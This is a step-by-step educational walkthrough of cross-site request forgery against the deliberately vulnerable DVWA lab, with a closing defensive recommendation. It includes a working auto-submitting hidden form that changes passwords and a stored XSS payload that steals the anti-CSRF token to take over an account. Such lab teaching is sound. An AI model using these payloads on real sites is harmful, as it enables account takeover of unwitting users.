

Conversing with Gemini

Cross-Site Request Forgery (CSRF): A Step-by-Step Walkthrough

Author: Ibrahim Aliaminu Olamide

Target Environment: DVWA (Damn Vulnerable Web App) on Kali Linux

Introduction: What is CSRF? (The "Forged Letter" Concept)

Imagine you are at a bank. You hand the teller a withdrawal slip. The teller recognizes your face, accepts the slip, and hands you the cash.

But what if a pickpocket slipped a forged withdrawal slip into your stack of papers right before you walked up to the counter? The teller still recognizes your face, assumes you willingly handed them that specific slip, and gives the pickpocket your money.

This is **Cross-Site Request Forgery (CSRF)**.

Web browsers use tiny data files called "Cookies" to keep you logged into websites. If an attacker can trick your browser into visiting a malicious link or opening a malicious file, your browser automatically attaches your login Cookie to the request. The website looks at the Cookie, says, *"Oh, it's the authorized user!"* and executes the attacker's hidden command—such as changing your password—without your knowledge.

Level 1: Low Security (The Open Door)

The Problem

In the Low security level, the web application processes password changes simply by reading the web address. It only checks if the user's login cookie is valid. It never asks for proof that the user actually *intended* to make the change.

Step-by-Step Execution

1. **Set the Stage:** Log into your DVWA dashboard and set the security level to **Low**.
2. **Create the Trap File:** On your computer, create a text file named EVIL_SCRIPT.txt and save it as an HTML file (.html).
3. **Write the Hidden Form:** Paste the code into your file. This creates an invisible web form that points directly to the target server's password-change feature.
- 4.

HTML

```
<form action="http://127.0.0.1/dvwa/vulnerabilities/csrf/"
method="GET">
  <input type="hidden" name="password_new" value="pwned_low"
/>
  <input type="hidden" name="password_conf" value="pwned_low"
/>
  <input type="hidden" name="Change" value="Change" />
</form>
<script>
  document.forms[0].submit();
</script>
```

5. **Trigger the Attack:** Make sure you are logged into DVWA in your browser. Open a new tab and open your local HTML file.

6. **The Result:** The script instantly fires the hidden form. Because you are logged in, your browser automatically attaches your session cookie. The server blindly trusts it and changes your password to pwned_low.

Note: Reference screenshot LOW.png here.

Level 2: Medium Security (The Fake ID Check)

The Problem

The developer realized they couldn't just trust the cookie. They added a check for the **Referer Header**. When you click a link, your browser sends a hidden note (the Referer) telling the server exactly what website you came from. The server is now programmed to reject the password change if the Referer doesn't match 127.0.0.1 (the trusted server name).

Step-by-Step Execution

1. **Set the Stage:** Change your DVWA Security Level to **Medium**.
2. **The Bypass Strategy:** We bypass this by exploiting how browsers handle local files. When you open an HTML file directly from your computer's hard drive, modern web browsers strip away the Referer header completely to protect your privacy.
3. **Trigger the Attack:** Simply open the exact same EVIL_SCRIPT.txt file from the Low level while logged into DVWA.
4. **The Result:** Because the Referer header is totally empty, the poorly written code on the server gets confused, fails to block the request, and lets the password change slip through anyway.

Note: Reference screenshot MEDIUM.png here.

Level 3: High Security (The Inside Job)

The Defense: Anti-CSRF Tokens

The developer finally implements a strong defense: **Anti-CSRF Tokens**. The server now generates a unique, random string of text (a ticket) every time the password page is loaded. To change a password, the form must include that exact secret ticket.

Our external script is now completely blocked. It cannot guess the random ticket, and browser security rules prevent external sites from reading data off the official DVWA page.

The Exploit: Vulnerability Chaining

To beat this, we have to execute an "inside job." We chain the CSRF attack with a completely different vulnerability: **Stored Cross-Site Scripting (XSS)**. By injecting a malicious script directly into the public DVWA Guestbook, our code runs *inside* the trusted domain, allowing it to read the secret ticket.

Step-by-Step Execution

Phase 1: Bypassing Restrictions

1. Temporarily set DVWA Security to **Low** so we can plant our script without the Guestbook's own defenses blocking it.
2. Go to **XSS (Stored)**. The text box restricts inputs to 50 characters.
Right-click the Message box, select **Inspect**, open the browser **Console**, and run this command to unlock the box.

JavaScript

```
document.getElementsByName('mtxt')[0].setAttribute('maxlength', '10000');
```

Phase 2: Planting the Spy

1. Enter your name in the Name field.

2. Paste this exact minified payload (hard_script.txt) into the unlocked Message box.
- 3.

HTML

```
<script>
var req = new XMLHttpRequest();
req.onload = function() {
    var token = this.responseText.match(/user_token'
value='(.*?)'/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('GET',
'/dvwa/vulnerabilities/csrf/?password_new=hacked&password_conf
=hacked&Change=Change&user_token=' + token, true);
    changeReq.send();
};
req.open('GET', '/dvwa/vulnerabilities/csrf/', true);
req.send();
</script>
```

4. Click **Sign Guestbook**.

Phase 3: The Heist

1. Go back to DVWA Security and set it to **High** (turning the CSRF security back on).
2. Navigate to **XSS (Stored)**.
3. The page loads normally. However, silently in the background, your injected script wakes up, reads the HTML of the page, extracts the secret ticket, and instantly fires the password change request.
4. Log out and log back in with the password hacked to verify the account takeover.

Note: Reference screenshot Hard.png here.

Conclusion: The Ultimate Fix (Impossible Level)

Anti-CSRF tokens are great, but as demonstrated, attackers can still steal them if the website has an underlying XSS vulnerability.

The only bulletproof way to prevent a CSRF password-change attack is simple logic: **Require the user to enter their Current Password.**

If the server demands the old password before accepting a new one, no automated script, hidden form, or stolen token can force the change, because the attacker simply does not know the user's original secret.